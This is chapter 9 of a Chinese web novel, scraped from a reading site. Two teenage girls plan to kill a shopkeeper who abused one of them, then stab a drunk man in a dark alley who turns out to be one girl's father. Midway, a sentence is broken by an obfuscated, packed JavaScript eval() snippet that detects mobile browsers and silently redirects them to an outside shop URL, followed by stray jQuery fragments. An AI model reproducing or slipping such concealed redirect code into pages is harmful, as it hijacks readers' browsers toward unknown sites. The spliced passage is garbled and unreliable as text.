文趣网 > 都市小说 > 绕颈之爱 > 9. 第 9 章
    不是周末,张俊丽也打扮地一如既往的时髦。

    她穿着斜领T恤和低腰牛仔裤,耳边夹了一枚粉色的发夹,嘴唇上也涂了亮晶晶的啫喱。

    这样的打扮似乎不该出现在学校里。

    所以现在,张俊丽左手捋着一缕头发,右手托着下巴,心事重重地坐在教室里,望着黑板出神时,想的都是学校外的事。

    “——个别同学,实在是屡教不改,令人厌恶。”讲台上的郑娇娇盯着张俊丽的方向,一字一句地说着,“在学校不学习,一心想着打扮,还跟校外不三不四的人来往,不知道还来学校干嘛?影响我们班的风气!”

    今天本来不是班会的日子,也不知道为什么,到了放学的时间,同学们刚想走,一脸阴沉的郑娇娇就走进了教室,开始阴阳怪气地训话。

    郑娇娇向来啰嗦,说话总喜欢夹枪带棒地针对班上那几个不爱学习的学生,她们班上同学早已习惯,只有几个跟张俊丽不对付的学生不时幸灾乐祸地转头看她一眼。

    其他的同学们各自神游,把郑娇娇的声音当做了背景音。

    张俊丽也一样。

    换做别人恐怕为因此感到难堪,但对于张俊丽而言,老师针对也好,同学幸灾乐祸也罢,她心思已经不在读书上,只是每天勉强在学校里混日子,并不在乎他们是怎么看自己的。

    张俊丽发呆是因为昨天傍晚接到的一个电话。

    等到郑娇娇终于讲完话,张俊丽迅速收拾好书包,抢在郑娇娇从讲台上走下来之前冲出了教室,没有给郑娇娇单独跟她谈话的机会。

    虽然没有表现出来,但她很清楚郑娇娇为什么又这样兴师动众地给她难堪。

    还是因为小卖部老板的事。

    张俊丽来学校来的早,撞上了一出好大的热闹,一群到校早的学生聚集在小卖部门口,嘻嘻哈哈地围观着。

    小卖部的卷帘门上被人用红油漆涂上了色狼两个字,盛老板正狼狈的踩着梯子,满头大汗地想要赶在大部队学生上学前擦掉油漆。

    明明是一件大快人心的好事。

    可当时的张俊丽越过人群看着那个长相普通的男人,心里却没有幸灾乐祸的快感,只有事情又要牵扯到自己的烦躁。

    前两天小卖部就被人泼过一次油漆,盛老板不知道为什么就认定是张俊丽做的,又是找了郑娇娇又是找了曾桃。

    张俊丽很冤枉,她什么也没做,谁知道这个该死的色鬼究竟做了什么,得罪了多少人,凭什么要算在她的头上?

    郑娇娇八成是为了早晨这件事,至于这个贱人为什么要帮盛老板找自己的麻烦——大家曾经是造纸厂家属区的邻居,她认识曾桃,本来就看自己不爽,还能有什么原因?

    张俊丽现在最后悔的事,就是听了王佩的话,跑去跟郑娇娇自取屈辱,落了一个这么大的把柄给她。

    不过,也不是所有人都站在盛老板那边,至少曾桃没有。

    张俊丽其实有点惊讶,盛老板去找曾桃告状,曾桃竟然会护着她。

    “是不是误会呢?”张俊丽躲在门后听着曾桃在客厅讲电话,“我们家丽丽哪有那么大能耐,她一个小女孩,又一向胆子小,哎哟,小盛,你肯定是搞错了。”

    曾桃的口气还是一如既往的温柔,占了她女儿便宜的色狼打电话给她说她女儿的坏话,她不但没有发火,还小心翼翼地哄着对方。

    可她毕竟是在为张俊丽辩解。

    张俊丽想着自己那天偷听到的曾桃的话,思绪越来越远。

    她默默走到教学楼下,找了一张隐蔽角落里的石椅坐下,她也不喜欢在同学面前跟王佩来往,她们在学校来往时,多数都是在这儿。

    张俊丽思考着很多事情,等着王佩过来找她。

    可这一等,等到天都要黑了,还没有等到。

    张俊丽有点生气,王佩害她在郑娇娇面前丢了那么大的人就算了,还放她鸽子。

    她抬头看了看天色,叹了口气,起身往回走去。

    回去时张俊丽特地绕了路,远远地看了小卖部一眼。

    小卖部里人头攒动,结账的学生们排着长队,盛老板一如既往的一脸笑容,看上去完全没有受到红油漆的影响。

    小卖部里灯光有些刺眼。

    张俊丽咬了咬牙,收回了视线,沉着脸快步向沿河街走去。

    她几乎是一路小跑地往回走。

    这几天沿河街不太平,总有小混混聚集打群架,街上还能看到溅射的血迹,张俊丽夜晚时缩在床上听着窗外的声音,连睡觉都睡不踏实,实在不敢在天黑后在外头逗留。

    紧赶慢赶,张俊丽终于在天黑前回到了沿河街。

    河边的路灯此时也隔三差五地亮了起来,这里的路灯没人管,常常连着一片都是坏的,一眼望去,只有零星几个灯是正常亮度。

    借着这零星几盏灯的亮,沿河街看上去一片平静,没有什么小混混三五成群地聚在一起,只有步履匆匆的几个落单的路人。

    这让张俊丽松了一口气,放慢了脚步。

    今天天气不错,此刻傍晚的风带着微微凉意,吹在脸上很舒服,让人萌生了想要在这微风中散散心的念头。

    张俊丽不想太早回家跟曾桃大眼瞪小眼,心不在焉地沿着河边的风光带慢慢走,她的脚步越走越慢,脑海中的念头也越来越混乱。

    她完全没有留意周围的情况,快走到家门口时,一双手忽然从灯下的暗处伸了出来,一把抓住她的胳膊,把她往绿化带后扯去。

    张俊丽呼吸一滞,张嘴就要尖叫。

    “别叫,是我。”

    那双手捂住了她的嘴巴,熟悉的声音在张俊丽耳边响起。

    “呜王佩!!你要死了!吓死人了!”

    张俊丽出了一身冷汗,嘴巴被捂着,含含糊糊地抱怨道。

    “你怎么才回来,我等你好久了。”王佩松开了手,皱眉道。

    张俊丽气笑了,转身怒道:“你还说我呢,你不是说放学别走吗?我在学校等你——”

    话没说完,她看着眼前的王佩,止住了话头,惊疑道:“你这是怎么了?怎么弄成这样?”

    王佩穿着一身脏兮兮的运动服,衣袖和裤子上都有明显的污渍,左边脸颊有一片擦伤,嘴角也破了。

    “这一身怎么搞得?这个脸,谁打你了?”张俊丽问道。

    “没谁打我,我自己弄得。”王佩满不在乎地摸了摸自己的左脸,“不说这个了,我再问你一次,你现在还想宰了盛老板吗?”

    “想,今天更想了。”张俊丽毫不迟疑地答道。

    “我就等你这句话。”王佩说罢,弯腰从绿化带里拿出了两根钢管,递了一根给张俊丽,“给。”

    “这个是什么?”张俊丽没有伸手去接。

    “杀人用的东西。”王佩拧开自己手中的那根,抽出了钢管里的长刀,“我偷来的,动完手我再放回去,谁也不会知道是我们弄得。”

    张俊丽惊疑不定地看着王佩手中的长刀。

    这是不入流的小混混们用来砍人的家伙,粗糙拙劣,刀刃上一大片锈迹,刀身与钢管连接处是像蜈蚣一样歪歪扭扭丑陋的焊接点,管身看着没比王佩的胳膊粗多少,跟刀刃接在一起后却有她半个身子长。

    王佩拿着那柄长刀,刀刃对着张俊丽,静静地看着她。

    张俊丽的腿禁不住地发软,她支支吾吾道:“你不是认真的吧?就这样吗?直接用这个?”

    “不然呢?他很高吗?很壮吗?这么长的刀,我们两个人趁他没有防备,从腰子后头捅进去,两刀就能要了他的命,动完手我再把东西擦干净放回去,别人只会觉得他倒霉,大晚上跑来沿河街,碰上了小混混打架,不会有人怀疑我们。”

    瘦小的、浑身是伤的王佩,眯着眼睛看着张俊丽,像一只伤痕累累的野狗,慢慢露出了獠牙。

    “可我们也要找到他落单的时候啊,你要跟踪他吗?”

    张俊丽害怕极了,她不知道王佩想的办法这么简单粗暴,这跟她想的不一样。

    明明她看起来是懦弱胆小的样子。

    张俊丽不愿让自己看起来比王佩胆小,她强撑着接过钢管,又问了一遍。

    王佩没有第一时间回答。

    她歪着头看了好一会儿张俊丽,忽然笑了起来,语气讥讽地说道:“丽丽,我们不需要跟踪他。”

    张俊丽没有反应过来,追问了一句:“为什么?”

    “因为他会过来的,他会到这里来,只有他一个人,你知道的。”王佩眯着眼睛笑了起来。

    张俊丽瞬间就明白了她的意思,她万万没有想到这回答。

    她如坠冰窟,拼命地瞪大了眼睛,想要止住因为羞耻而强行翻涌上来的眼泪。

    “你说什么,我不知道,什么东西啊,我我为什么要知道他会过来啊。”张俊丽前言不接后语地胡乱说着话。

    “张俊丽。”王佩并不打算放过她,“别装了,告诉我,他一般什么时候过来找你妈?”

    “我不知道,不是,我不懂——”

    张俊丽的自尊心被王佩三言两语彻底击碎了,她的眼泪止不住地流了下来,嘴里一遍一遍地重复着乱七八糟的话。

    她本来就漂亮,在昏暗的灯光下,看上去更是既漂亮又可怜。

    但王佩没有怜香惜玉。

    王佩眼仁红红的,让她看上去像一个冷血的疯子,她也确实如此,冷冷地催促道:“别在这里装模作样了,你到底想不想要他去死啊?难道你之前跟我说的都是装的?你不是说你经常看周鸿他们打架吗?所以其实你胆小如鼠,只会嘴上吹牛?”

    “我不是,你别说了!”

    张俊丽招架不住,蹲坐在地上捂住了脸。

    “不敢就算了,我自己想办法,你真没用。”

    王佩居高临下地看着张俊丽,神情冷峻。

    这句话彻底刺痛了张俊丽,她抬起被眼泪糊得一团糟的脸,哑着嗓子辩解道:“我才不是你说的那样,你不是我,你没有个这样的妈,你懂什么呢?”

    张俊丽含糊辩解的是另外的事情。

    她的头发因为眼泪和汗水的缘故乱做一团,不再是笔直顺滑的样子,她的鼻头红肿,充盈的眼泪让她本就漂亮的眼睛更加水润。

    她看上去很狼狈。

    而就在几天前,张俊丽还是她们关系里的那个主导者,在她们互相较劲,暗自展示自己的成熟老练的时刻里,更听话更乖巧的王佩总是被张俊丽出言讥讽。

    可现在,下位者王佩在冷眼旁观张俊丽的崩溃,她们所处的位置颠倒了过来。

    “我不想听你说这些,我只问你,他一般什么时候过来,你到底动不动手?”王佩的视线落在张俊丽红肿的眼睛上。

    “他如果来,平时是晚上,周末不知道。”张俊丽投降了,她狠狠擦了一把脸,眼神闪烁地移开了视线,“晚上十点多,那个时候学校才放学。”

    “行,我等着。”王佩点了点头,“你要一起吗?你不敢的话,我一个人也可以。”

    王佩说她一个人也可以,这句话不啻于一个扇在张俊丽脸上的巴掌,她转过头来,恶狠狠地瞪着王佩:“你什么意思?你觉得我不敢?你真觉得我平时都在吹牛?”

    “是不是只有你自己知道。”

    王佩说罢,把手上的长刀收进钢管,找了个路灯照不到的阴影处坐下了。

    王佩回答得过于轻描淡写,显得张俊丽在虚张声势。

    张俊丽尴尬地蹲在原地,不知自己该不该跟上去,胡思乱想了一会儿后,她忽然察觉到了一丝不对劲。

    “你为什么对这件事这么上心?为了帮我还要把你自己搭上?我们什么时候好的你愿意为我做这些了?”张俊丽说着,慑于王佩气势而停转的脑子再次转动了起来,“难不成你跟他也有仇?他也欺负你了?”

    “我愿意做,至于为什么,不要你管。”

    王佩垂着头,不住地伸手去拨弄绿化带里的花草。

    “王佩,那件事我没有瞒着你,当天我就告诉你了,你有事为什么要隐瞒我?”张俊丽满心委屈。

    “我说不要你管,你如果不想做,只要当做今天没有见过我,回家就是了。”王佩抬头瞥了张俊丽一眼。

    张俊丽看着她,没有回答,也没有动作,她的睫毛不住颤动着。

    天更黑了,沿河街老旧的路灯们连自己脚下的一块地方也照不亮,河边的风也变冷了,吹得人瑟缩起来。

    张俊丽回头看了看不远处自己家的二层小楼,妥协地转移了地方,走到王佩身边坐下。

    “你不跟我说就算了,总归这件事对我也有好处,但你要想好怎么做才行,你说得简单,沿河街上还是住了些人的,要是被人看到了怎么办?”

    短短的时间里,张俊丽又恢复了正常,她仰起头,好像刚刚那个狼狈流泪的少女不是自己一般,重新显得骄傲起来。

    “那你说,你住在这条街上,要是半夜听到有人惨叫,你会出来看热闹吗?”王佩反问道。

    “这个——”张俊丽迟疑了。

    碰上这种事,大家躲都来不及,家就在这里没法跑,万一被那些烂仔们看到脸,是引火上身的事,谁会主动去凑热闹?

    更何况沿河街里头弯弯绕绕的小巷子也多,连路灯都没有,晚上把头伸出窗外也不见得能看到什么,是个做坏事的好地方。

    “可是要是今天没等到他,难道你天天来这里蹲他吗?你妈妈不会到处找你吗?你今天这么晚了还不回家,她肯定已经急死了。”

    张俊丽换了个问题。

    “你问题怎么这么多?”王佩还是没有回答,“你是不是怕了?”

    “别激将我,我才不怕。”

    张俊丽连忙否认,瞪了王佩一眼。

    王佩没理她,仍旧有一搭没一搭的扯着面前绿化带里的植物。

    又是一阵沉默。

    夜越来越深,星星也开始在夜空中闪烁了。

    两个女孩并肩坐着,不知什么时候起,一齐抬头看着天上的星星发呆,各自想着心事。

    “王佩,你妈妈对你那么好,你为什么还总要跟她吵架?你看我妈妈,她那个样子,到处交男朋友,害得我在外面抬不起头来,她心里只有自己,就算我一晚上不回家,她也不会出来找我。”

    或许是已经被王佩知道了她隐藏最深的秘密,或许是路灯太暗,天上的星星也照不亮张俊丽的脸,可以让她放心的流露出脆弱,她遮遮掩掩地谈起了曾桃的私生活。

    “你为什么觉得我妈对我好?”王佩转头看她。

    “你小时候生病,你妈妈从医院跑着回来拿钱,急得在楼下摔了一跤,哭得很厉害,好多人都看到了。”张俊丽语气艳羡地说道。

    “有这么回事吗?”王佩迟疑了,“我都不记得了。”

    “以前造纸厂没有破产,我爸妈没有离婚,我们还住在家属区的时候,每天中午放学回家我都要饿肚子,每天中午你妈妈都急急忙忙赶回来给你做饭。”说到这里,张俊丽幽幽地叹了口气,“我那时候好羡慕你。”

    “这有什么值得羡慕的?那时候你爸妈忙,你天天等着他们下班一起去食堂吃饭,也说不上饿肚子吧?再说食堂好吃的那么多,你根本不知道我妈做饭有多难吃。”王佩更加不解了。

    张俊丽一时语塞,觉得自己跟王佩在鸡同鸭讲,轻笑一声,叹道:“跟你说不清,懒得跟你说了,生在福中不知福。”

    话不投机半句多,王佩觉得张俊丽在挑刺,张俊丽觉得王佩在嘲讽,两人心里都憋着一股气,谁也不愿意再次开口。

    这一回,两个女孩结结实实地在河边喂了几个小时的蚊子,两人都被咬了脚踝,坐也坐不住,后来干脆站起来,在河边走来走去。

    “要不去巷子里等吧,河边虫子太多了。”王佩从小就招蚊子,被咬得扛不住,提议道。

    “行,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17888708|212675||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    走吧,正好我家旁边那条巷子没有灯,我们就去那儿呗。”张俊丽点了点头,语气轻松地起身拍了拍裤子,看上去并不像一开始那样紧张了。

    王佩忍不住多看了她几眼,问道:“你现在不怕了?”

    “我本来就不怕。”张俊丽先下意识反驳,接着又小声补充了一句,“再说了,这么晚还没来,他今天说不定不会来了。”

    两人捡起钢管,一边说一边横过马路,王佩笑了一声,敷衍道:“是吗,你心态倒是很好。”

    这口气听起来就阴阳怪气。

    张俊丽正想反驳,街角处忽然传来了一阵摩托车声。

    这时两人已经走到了马路对面,她们听见声音,先是赶紧躲进了巷子里,接着一起伸头往街上看去。

    摩托车的灯亮得很,被大灯闪了眼睛,她们看不太清车上坐得是谁。

    “看身材,好像是他。”王佩缩回身子,压低了声说道。

    事到临头,她也紧张地发起抖来,试了好几次,才从钢管中抽出长刀装好。

    “不会吧,你真的要动手吗,王佩,你要不再想想啊。”张俊丽躲在王佩身后,急得想要动手去拉她,又吓得不敢乱动。

    她们说话间,那辆摩托车已经减速,慢慢停在了路边。

    这时候两个女孩跟摩托车之间的距离只有几米,张俊丽伸出头飞快瞄了一眼,影影绰绰看到一个瘦小的男人熄火下了车,连忙心跳如雷地收回了视线,紧贴着墙根站着。

    下了车的男人唱着荒腔走板的歌,一步一步朝着张俊丽家走来,听着越来越近的声音,张俊丽手忙脚乱地拿起王佩给她的凶器,急得带哭腔小声道:“他怎么真的来了,怎么办,这东西怎么打不开啊王佩。”

    王佩不比她好多少,她耳鸣了,在这一瞬间,她的世界安静了下来,一切的声音都被耳中尖锐的鸣叫掩盖了。

    没看到人之前,王佩先闻到了一股浓烈的酒味。

    接着一个其貌不扬的男人,深一脚浅一脚地从躲在阴影处的两个少女面前经过。

    他已经喝得半醉,完全没有注意到巷子里的危险,毫无防备地把后背展露了出来。

    就是现在。

    王佩拉起运动服上的帽子,仔细遮住了半张脸,在震耳欲聋的心跳中对自己说,动手,就是现在。

    她猛地向前一步,双手握紧了长刀,想要从后头扎进那男人的背中。

    可王佩太紧张,沉重的呼吸和脚步声暴露了她。

    她动手时,男人终于听到了动静,踉跄着回头看向刚刚经过的巷子口。

    一来一回之间,王佩并没有感到手中的凶器传来刺入血肉的阻力,她脑中一片空白,心跳声与耳鸣也在此时消失了,她听到男人在她身侧咒骂道:“是谁?”

    他本能地伸手挡了一下,长刀刺空的同时,王佩重心不稳,被他狠狠推到在地。

    “我艹,谁让你来的?”

    男人大骂着,向前走了一步,似乎想要去看倒地的王佩的脸。

    可他没能做到,他的身体在此时趔趄了一下。

    另一柄凶器从背后刺穿了他,男人难以置信地低头看着自己肚子。

    他的肚子上冒出了一小节红色的刀刃。

    男人怔怔看着,看了一会儿,啊得叫了一声,好像才意识到发现了什么事情,捂住肚子跪倒在地。

    站在他身后的张俊丽松开手,大口大口地喘着气,借着昏暗的光线,她看到男人头朝下扑在地上惨叫,鲜血汩汩地从他的伤口处涌了出来。

    她愣在了原地。

    还是从地上爬起来的王佩拉着她钻进了巷子里。

    张俊丽的脚软得像面条,王佩不比她好到哪去,两个少女哆嗦着,互相搀扶着,跌跌撞撞地往远离沿河街的地方跑去。

    不知跑了多久,她们跑得口中满是铁锈味,实在无法再前进一步,才终于停下了脚步,瘫坐在一处僻静的死胡同。

    张俊丽靠着墙,喘着粗气,过了好一会儿,才带着哭腔说道:“不是他!我早就知道他不会来!你太冲动了!我们搞错人了!”

    昨天傍晚,除了王佩,张俊丽还接到了另一个电话。

    王佩的电话挂断没多久,张俊丽家的电话再一次响了起来。

    张俊丽叫了好几声妈妈,想叫曾桃出来接电话,可曾桃那时正好在厨房里忙活,高压锅上汽的声音吵得要命,她根本听不到张俊丽在说什么。

    张俊丽不得已,只好自己接起了电话。

    “喂,找谁。”张俊丽有气无力地说道。

    “是丽丽啊。”电话那头传来了一个油腻腻的男声,“怎么是你接的电话。”

    是盛老板。

    张俊丽恶心的要命,恶狠狠地瞪了一眼厨房后,她没好气地答道:“打错了。”

    “喂,我知道没打错,丽丽,你干得好事,搞得我最近麻烦很多,我这个月都不能去看你跟你妈了,你不觉得你有点过分吗?”盛老板说话间,张俊丽起了一身鸡皮疙瘩。

    她难以抑制地发火道:“我跟你说了,那件事真的跟我没关系,我根本不知道,你们不说我都不知道到底发生了什么!”

    “呵呵。”盛老板在电话那头笑了起来,“行,最好是这样,你记得跟你妈妈转达一下,我最近忙,下个月再过来。”

    曾桃在厨房里哼着小曲忙碌着,并不知道电话里的对话。

    张俊丽的太阳穴一跳一跳地抽痛,她张嘴想骂人,可最后还是忍了下来,呯得一声挂了电话。

    电话的内容张俊丽记得清清楚楚。

    她早就知道她跟王佩等不到盛老板,因为他昨天才告诉张俊丽,他这个月都不会过来。

    “是你爸爸,他为什么会这个时候过来。”张俊丽抱着头,眼泪一滴一滴地砸在地上,“怎么办啊,我们搞错了,我动了手后才看清楚,那个男的是你爸爸。”

    “是吗?”王佩揉了揉眉头,“我没戴眼镜,看不大清楚。”

    她的声音太平静了。

    张俊丽不可思议地抬头看向她。

    是,王佩没有带眼镜,沿河街的光线又太昏暗,她确实不应该看得清。

    可,那是她爸爸啊。

    被张俊丽从身后拿长刀贯穿,血溅了一地,现在生死不明的人是她爸爸啊。

    王佩为什么连语气上的起伏都没有?

    看着王佩的侧脸,张俊丽后知后觉的出了一身冷汗。

    她隐隐觉得有什么不对,可现在的情景下,她的大脑一片混乱,一时半会想不明白究竟不对在哪儿。

    “对了,我忘了告诉你。”王佩好像没有察觉到张俊丽的僵硬,转头看着她,平静地说着,“这两把刀是周鸿的,我从他那里偷来的。”

    张俊丽没听懂,愣愣地问道:“你什么意思?”

    “没什么,就是跟你说一声。”王佩的眼睛没有从张俊丽的脸上移开过,她仔细地观察着,“你知道有这么回事就好了。”

    巨大的恐惧朝张俊丽袭来。

    她张了张嘴,颤声道:“周鸿是我前男友,刀是他的,动手的是我,你没戴眼镜,什么都看不清楚,如果被人发现了一切都是我的错,你在利用我。”

    王佩轻声安抚她:“不会有人发现的,你想得太多了。”

    王佩说着,伸手拍了拍张俊丽的肩膀,继续哄道:“不会有事的,我真的没有利用你,真有什么事,我们也是共犯。”

    张俊丽怔忪着看着王佩。

    她在发抖,长长的睫毛跟着轻颤。

    “共犯——”她喃喃自语,“我们竟然做了这种事。”

    “是啊。”

    王佩收回了视线,身体靠在墙上,抬头望向天上的星星。

    “我爸爸命硬。”那个将要吞噬王佩的泥潭在慢慢地没过她的身体,星星倒映在她漆黑的眼眸中,“就这,也许要不了他的命呢。”

    张俊丽发誓,她从王佩的语气中听出了遗憾。